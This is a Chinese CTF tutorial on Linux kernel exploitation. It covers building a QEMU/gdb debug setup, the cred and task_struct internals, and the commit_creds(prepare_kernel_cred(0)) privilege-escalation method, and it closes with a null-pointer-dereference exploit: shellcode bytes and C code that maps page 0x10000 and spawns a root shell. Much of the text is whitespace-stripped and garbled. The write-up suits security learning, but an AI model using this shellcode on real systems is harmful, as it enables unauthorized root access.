该系列文章主要是从ctf比赛入手,针对linux内核上的漏洞分析、挖掘与利用做讲解,本篇文章主要介绍内核漏洞利用所需的前置知识以及准备工作。
linux内核态与用户态的区别以IntelCPU为例,按照权限级别划分,Intel把CPU指令集操作的权限由高到低划为4级:
ring0(通常被称为内核态,cpu可以访问内存的所有数据,包括外围设备,例如硬盘,网卡,cpu也可以将自己从一个程序切换到另一个程序)
ring1(保留)
ring2(保留)
ring3(通常被称为用户态,只能受限的访问内存,且不允许访问外围设备)
如下图所示:

越是内环则cpu的权限越高,并且内环可以随意访问外环的资源而外环则被禁止。
因此相比用户态的漏洞,内核态的漏洞具有更强的破坏力,拿到了内核的权限则基本上相当于控制了整个操作系统。
linux内核分析环境搭建如果只是单纯的搭建内核的分析调试环境,一般来说需要自己手动下载对应版本的内核并进行编译,从kernel官网下载即可,这里笔者下了4.19的内核版本,在编译安装过程中可能会遇到模块缺失的问题,在ubuntu上使用apt安装对应的模块即可,笔者本地手动安装的模块如下:
sudoapt-getinstalllibncurses5-devsudoapt-getinstallflexsudoapt-getinstallbisonsudoapt-getinstalllibopenssl-dev
首先使用makemenuconfig来生成默认的config文件,这是一个图形化的配置,可以在kernelhacking选项中启用部分调试选项来更好的分析kernel上的漏洞。接着使用make命令来进行编译,当然这只是默认的编译选项,针对linux内核的编译非常多的选择。
接下来需要编译文件系统了,这里使用busybox进行编译,下载好源码后,通过makemenuconfig控制编译选项,在buildoptions选择staticbinary,接下来执行makeinstall可在当前目录生成一个_install目录,保存着编译后的文件,之后通过下面的脚本对系统运行时所需内容进行初始化,需在_install目录下进行
!/bin/shmount-tprocnone/procmount-tsysfsnone/sysmount-tdebugfsnone/sys/kernel/debugmkdir/tmpmount-ttmpfsnone/tmpmdev-sexec/bin/sh"""initchmod+xinit
接着切换到_install目录并使用压缩指令find.|cpio-o--format=newc../对_install目录下的所有内容进行打包,这样就可以通过bzImage以及两个文件使用qemu将整个内核运行起来。运行命令如下:
qemu-system-x86_64-kernel./bzImage-initrd./"nokaslr"
这样一个简单的linux系统就运行起来了,通过-s参数可以让gdb通过远程网络连接的方式对内核进行调试,break后gdb中断如下:

,此时已经可以对任意包含符号的函数下断点了,为了进行初步测试,这里在new_sync_read函数下断点,当有用户输入命令后则会触发,如下:

这样一个基础的内核调试分析环境就已经搭建起来了。
如何在内核环境中进行提权基本概念用户
对于支持多任务的Linux系统来说,用户就是获取资源的凭证,本质上是其所划分权限的归属。
权限
权限用来控制用户对计算机资源(CPU、内存、文件等)的访问。
进程
进程是任何支持多道程序设计的操作系统中的基本概念。通常把进程定义为程序执行时的一个实例。实际上,是进程在帮助我们完成各种任务。用户执行的操作其实是带有用户身份信息的进程执行的操作。
进程权限
既然是进程在为用户执行具体的操作,那么当用户要访问系统的资源时就必须给进程赋予权限。也就是说进程必须携带发起这个进程的用户的身份信息才能够进行合法的操作。
内核涉及到进程和程序的所有算法都围绕一个名为task_struct的数据结构建立(4.19中该结构有600多行,有兴趣的读者自行参考),对于Linux内核把所有进程的进程描述符task_struct数据结构链成一个单链表,该数据结构定义在include/中,部分结构如下:

pid类型定义主要在include/linux/中,4.19中包含如下:
enumpid_type{PIDTYPE_PID,PIDTYPE_TGID,PIDTYPE_PGID,PIDTYPE_SID,PIDTYPE_MAX,};可使用如下命令查看:
admins@admins-virtual-machine:~/kernel/$ps-T-eotid,pid,pgid,tgid,sid,commTIDPIDPGIDTGIDSIDCOMMAND11111systemd22020kthreadd33030rcu_gp44040rcu_par_gp66060kworker/0:0H-kb88080mm_percpu_wq99090ksoftirqd/010100100rcu_sched11110110rcu_bh12120120migration/0
在利用gdb进行远程调试时,为了能够拿到当前进程的task_struct结构,我们需要获取当前进程的pid,同时获取init_task这个内核全局变量,它保存着内核启动的初始任务的task_strcut结构体地址,而task_struct结构体中保存着一个循环链表tasks用来追踪所有的进程task_struct结构,因此我们可以遍历所有的task_struct并通过对比pid的值来判断是否是我们自身的进程,可以使用如下脚本:
addressofatask_,findthenexttaskinthelinkedlistset$t=(structtask_struct*)$arg0set$offset=((char*)$t-tasks-(char*)$t)set$t=(structtask_struct*)((char*)$(char*)$offset)
执行find_taskpid后即可查看对应进程的task_struct结构体内容以及其中的cred内容,截取部分如下:
$5={usage={counter=0x2},uid={val=0x0},gid={val=0x0},suid={val=0x0},sgid={val=0x0},euid={val=0x0},egid={val=0x0},fsuid={val=0x0},fsgid={val=0x0},securebits=0x0,cap_inheritable={cap={0x0,0x0}},cap_permitted={cap={0xffffffff,0x3f}},cap_effective={cap={0xffffffff,0x3f}},cap_bset={cap={0xffffffff,0x3f}},cap_ambient={cap={0x0,0x0}},jit_keyring=0x0,session_keyring=0x0irq_stack_union,process_keyring=0x0irq_stack_union,thread_keyring=0x0irq_stack_union,request_key_auth=0x0irq_stack_union,security=0xffff88000714b6a0,user=0xffffffff82653f40root_user,user_ns=0xffffffff82653fe0init_user_ns,group_info=0xffffffff8265b3c8init_groups,rcu={next=0x0irq_stack_union,func=0x0irq_stack_union}}$6=(structtask_struct*)0xffff80当然调试时我们可以通过这个方式比较快速的获取对应进程的task_struct结构,在编写shellcode时一般通过寄存器的值或者直接调用相关函数来获取,这里可以参考这本书提到的两种方式,分别利用ESP或者GS寄存器来获取当前进程的task_struct结构。
registerunsignedlongcurrent_stack_pointerasm("esp")staticinlinestructthread_info*current_thread_info(void){return(structthread_info*)(current_stack_pointer~(THREAD_SIZE-1));}static__always_inlinestructtask_struct*get_current(void){returncurrent_thread_info()-task;}structthread_info{structtask_struct*task;/*maintaskstructure*/structexec_domain*exec_domain;/*executiondomain*/unsignedlongflags;/*lowlevelflags*/__u32status;/*threadsynchronousflags*/…}上面所述的都是在32位环境下的查找方式,在64位上的方式还是通过gs寄存器,代码如下:
.text:FFFFFFFF810A77E0__x64_sys_getuidprocnear;DATAXREF:.rodata:FFFFFFFF820004F0↓:FFFFFFFF810A77E0;.rodata:FFFFFFFF82001BD8↓:FFFFFFFF810A77E0call__fentry__;Alternativenameis'__ia32_sys_getuid'.text::FFFFFFFF810A77E6movrax,gs:current_:FFFFFFFF810A77EFmovrax,[rax+0A48h].text:FFFFFFFF810A77F6movrbp,:FFFFFFFF810A77F9movesi,[rax+4].text:FFFFFFFF810A77FCmovrdi,[rax+88h].text:FFFFFFFF810A7803callfrom_kuid_:FFFFFFFF810A7808moveax,:::FFFFFFFF810A780B__x64_sys_getuidp权限提升
/*Processcredentials:*//*Tracer'scredentialsatattach:*/conststructcred__rcu*ptracer_cred;/*Objectiveandrealsubjectivetaskcredentials(COW):*/conststructcred__rcu*real_cred;/*Effective(overridable)subjectivetaskcredentials(COW):*/conststructcred__rcu*cred;
比较重要的是real_cred以及cred,它代表了linux内核中credential机制中的主、客体关系,主体提供自己权限的证书,客体提供访问自己所需权限的证书,根据主客体提供的证书及操作做安全性检查,其中cred代表了主体证书,real_cred则代表了客体证书,cred结构体内容如下:
structcred{atomic_tusage;defineCRED_MAGIC0x43736564ifkuid_tuid;/*realUIDofthetask*/kgid_tgid;/*realGIDofthetask*/kuid_tsuid;/*savedUIDofthetask*/kgid_tsgid;/*savedGIDofthetask*/kuid_teuid;/*effectiveUIDofthetask*/kgid_tegid;/*effectiveGIDofthetask*/kuid_tfsuid;/*UIDforVFSops*/kgid_tfsgid;/*GIDforVFSops*/unsignedsecurebits;/*SUID-lesssecuritymanagement*/kernel_cap_tcap_inheritable;/*capsourchildrencaninherit*/kernel_cap_tcap_permitted;/*capswe'repermitted*/kernel_cap_tcap_effective;/*capswecanactuallyuse*/kernel_cap_tcap_bset;/*capabilityboundingset*/kernel_cap_tcap_ambient;/*Ambientcapabilityset*/ififstructuser_struct*user;/*realuserIDsubscription*/structuser_namespace*user_ns;/*user_nsthecapsandkeyringsarerelativeto.*/structgroup_info*group_info;/*supplementarygroupsforeuid/fsgid*/structrcu_headrcu;/*RCUdeletionhook*/}__randomize_layout;一般来说,提权过程可以通过如下两个函数来实现,commit_creds(prepare_kernel_cred(0)),其中prepare_kernel_cred(0)负责生成一个具有root权限的cred结构(本质上是获取到了init进程即0号进程的cred结构),commit_creds()则负责将对应的cred结构体进行替换,这样让当前进程具有root权限,感兴趣同学的可以阅读这两个函数的源码。
那么shellcode该如何确定这两个函数的地址呢,在我们默认的环境中是开启了kaslr的,所以这两个函数地址是固定的,我们可以通过ida等工具对vmlinux这个可执行内核文件进行分析,加载成功后寻找commit_creds函数,如下:
text:FFFFFFFF810B9810commit_credsprocnear;CODEXREF:sub_FFFFFFFF810913D5+290↑:FFFFFFFF810B9810;sub_FFFFFFFF8109D865+15A↑:FFFFFFFF810B9810E83B7FB400call__fentry__.text::FFFFFFFF810B98164889E5movrbp,:::FFFFFFFF810B981D53pushrbx
__fentry__这个函数仅仅返回,因此可以视为nop指令,所以commit_creds函数本质是从FFFFFFFF810B9815开始的,当然这里选择0xFFFFFFFF810B9810作为commit_creds函数地址,prepare_kernel_cred函数如下:
text:FFFFFFFF810B9C00prepare_kernel_credprocnear;CODEXREF:.text:FFFFFFFF810B9C00E84B7BB400call__fentry__.text::FFFFFFFF810B9C06BEC0006000movesi,6000:FFFFFFFF810B9C0B4889E5movrbp,::FFFFFFFF810B9C104989FCmovr12,:FFFFFFFF810B9C13488B3D2626AD+movrdi,cs:cred_:::FFFFFFFF810B9C1BE800681B00callkmem_cache_:FFFFFFFF810B9C204885C0testrax,:FFFFFFFF810B9C230F84E2000000jzloc_:FFFFFFFF810B9C294D85E4testr12,:FFFFFFFF810B9C2C4889C3movrbx,:FFFFFFFF810B9C2F0F84AB000000jzloc_FFFFFFFF810B9CE0
因此选择0xFFFFFFFF810B9C00作为prepare_kernel_cred函数地址,这样一个简易的shellcode就成形了,如下:
xorrdi,rdimovrbx,0xFFFFFFFF810B9C00callrbxmovrbx,0xFFFFFFFF810B9810callrbxret
当然,获取函数地址的方式还有其它多种,比如通过调试器或者/proc/kallsyms等,这里不再赘述。
当然也有其它方式进行权限提升,系统在判断一个进程的权限时通常是通过检测cred结构体中的uid、gid一直到fsgid,如果它们都为0,则默认当前是root权限,所以我们可以通过定位当前进程的cred结构并对其内部的数据内容进行修改也可达到提权的目的。
样例基本概念可加载模块linux内核最初采用的是宏内核架构,其基本特性就是内核的所有操作集中于一个可执行文件中,这样的好处是模块间不需要通信可以直接调用,有效的提高了内核的运行速度,但是缺点是缺乏可扩展性。因此linux从2.6版本后完善并引入了可装载内核模块(LKMS),这样可以在内核中加载独立的可执行模块,为扩展内核功能提供了较大便利。一般通过以下命令操纵可装载内核模块:
insmod装载内核模块lsmod列出内核模块rmod卸载内核模块
在通常的ctf比赛中,大部分题目都会选择给出一个存在漏洞的内核模块,选手需要分析该模块并进行针对性的漏洞利用。
保护机制
内核空间地址随机化,类似于用户层的ASLR
类似于用户层的stackcanary,在内核栈上添加了cookie以防御内核栈溢出
管理模式访问保护,禁止内核层访问用户态数据
管理模式执行保护,禁止内核层执行用户态代码
_MIN_ADDRmmap函数能申请的最小地址,空指针类型的漏洞无法利用
内核页表隔离,主要目的为了缓解cpu侧信道攻击以及kaslr绕过
用户与内核间的交互
在用户空间和内核空间之间,有一个叫做Syscall(系统调用,systemcall)的中间层,是连接用户态和内核态的桥梁。这样即提高了内核的安全型,也便于移植,只需实现同一套接口即可。Linux系统,用户空间通过向内核空间发出Syscall,产生软中断,从而让程序陷入内核态,执行相应的操作
本质上也是一个系统调用,只是它是用来直接向驱动设备发送或者接收指令、数据。
、read、write由于驱动设备被映射为文件,因此可通过访问文件的方式对驱动进行操作
漏洞类型
/NONVALIDATED/CORRUPTEDPOINTERDEREFERENCE内核空指针解引用
内核栈漏洞、内核堆漏洞
(算术)整数溢出、符号转换问题
漏洞
漏洞样例
本次利用一个存在空指针解引用的漏洞进行内核提权,模块的源码如下:
includelinux//proc_/#includesys/*mypoc="H1\xffH\xc7\xc3\x00\x9c\x0b\x81\xff\xd3H\xc7\xc3\x10\x98\x0b\x81\xff\xd3\xc3";intmain(){void*addr0=mmap(0x10000,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS,-1,0);memcpy(addr0,mypoc,24);intmfd=open("/proc/test_kernel_npd",O_RDWR);intres=write(mfd,"runshellcode",14);system("/bin/bash");return0;}执行结果如下:

此时可以看出已经成功提权。
免责声明:本文章如果文章侵权,请联系我们处理,本站仅提供信息存储空间服务如因作品内容、版权和其他问题请于本站联系